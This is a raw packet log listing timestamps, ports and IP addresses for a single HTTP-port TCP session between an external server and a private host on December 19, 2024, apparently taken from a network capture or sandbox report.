Dec 19, 2024 08:21:29.714155912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.714282990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.714888096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.714940071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.715136051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.715423107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.715536118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.716289997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.716404915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.716413021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.716455936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.717062950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.717190027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.717905045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.718002081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.718038082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.718080044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.718652964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.718700886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.719347954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.719400883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.719508886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.720170021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.720297098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.720341921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.720341921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.720968008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.721086979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.721741915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.721859932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.721879005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.722028017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.722564936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.722681999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.723238945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.723329067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.723491907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.724179983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.724308014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.724328041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.724410057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.725070000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.725167990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.725716114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.725778103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.725812912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.725878000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.726500034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.726622105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.727195978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.727305889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.727518082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.728101015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.728152037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.728226900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.728363991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.728903055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.728996992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.729646921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.729758024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.729793072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.729793072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.730427027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.779011011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.797275066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.797384977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.797588110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.797709942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.797760963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.797760963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.798366070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.798433065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.799236059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.803129911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.807133913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.807161093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.807446003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.807492971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.807493925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.807545900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.808157921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.808273077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.809067965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.809122086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.809122086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.841641903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.841672897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.841775894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.842036009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.842077017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.842223883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.842786074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.842833996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.843163967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.843542099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.843652010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.844383955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.844475985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.844587088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.844646931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.845218897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.845257998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.846082926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.846101046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.846124887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.846159935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.856182098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.856260061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.856386900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.856585979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.856657028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.856744051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.857357979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.857465029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.857526064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.858134985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.858280897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.858936071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.859016895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.859039068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.859091043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.859713078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.859816074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.859862089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.860537052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.860637903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.862627029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.897000074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.897012949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.897025108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.897089958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.897119045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.897145033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.897811890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.897991896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.898040056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.898636103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.898711920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.899161100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.899391890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.899569988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.900193930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.900240898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.900293112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.900329113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.900983095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.901078939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.901771069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.901834965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.901880026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.901927948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.902586937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.902666092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.903156996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.903640032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.903759003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.904139996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.904179096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.904257059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.904294014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.904987097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.905071020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.905833960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.905875921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.905884981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.905925989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.906528950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.906627893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.907160044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.907340050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.907407999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.908130884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.908169031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.908241034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.908278942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.908907890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.909018993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.910588980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.910602093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.910614014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.910635948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.910654068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.910693884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.911267996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.911422014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.911459923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.912103891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.912282944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.912854910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.912889957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.912952900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.912985086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.913664103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.913779974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.914449930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.914493084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.914558887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.914597034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.915234089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.915348053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.915381908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.916013002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.916147947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.916814089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.916857004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.916917086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.916958094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.917618036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.917692900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.918386936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.918427944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.919691086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.919728994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.921433926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921451092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921494961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921499968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.921508074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921533108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921551943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.921596050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.921631098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.922055960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.922070026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.922099113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.922828913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.922987938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.923027992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.989694118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.989820004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.989957094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.989999056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.990020990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.990067005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.990784883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.990973949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.991138935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.991161108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.999445915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.999589920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.999607086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:29.999922991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.999943972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:29.999964952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.000797987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.000811100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.000849962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.001559973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.001606941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.034060001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.034079075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.034146070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.034244061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.034413099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.034459114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.035104036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.035125017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.035166025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.035815954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.035985947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.036643028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.036664009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.036709070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.037450075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.037463903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.037506104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.038135052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.038446903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.039130926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.039177895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.048563004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.048573971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.048633099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.048928022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.048940897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.048970938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.049588919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.049633980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.049736023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.050390005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.050404072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.050457001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.051074982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.051271915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.051276922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.051918030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.051937103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.051985979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.052704096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.052758932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.052862883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.053385019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.055174112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.089273930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.089288950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.089376926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.089509964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.089600086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.089695930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.090346098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.090476990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.091068029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.091120958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.091160059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.091866016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.091917038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.091928959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.091989994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.092643023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.092767954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.093432903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.093482018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.093528032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.093564034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.094203949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.094322920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.095019102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.095067978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.095129967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.095792055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.095838070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.095894098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.095927954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.096585035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.096685886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.097407103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.097451925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.097491026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.097529888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.098242044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.098370075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.098952055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.099008083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.099064112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.099108934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.099775076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.099956989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.100003004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.100562096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.100656033 CET	80	49720	194.87.47.113	192.168.2.10
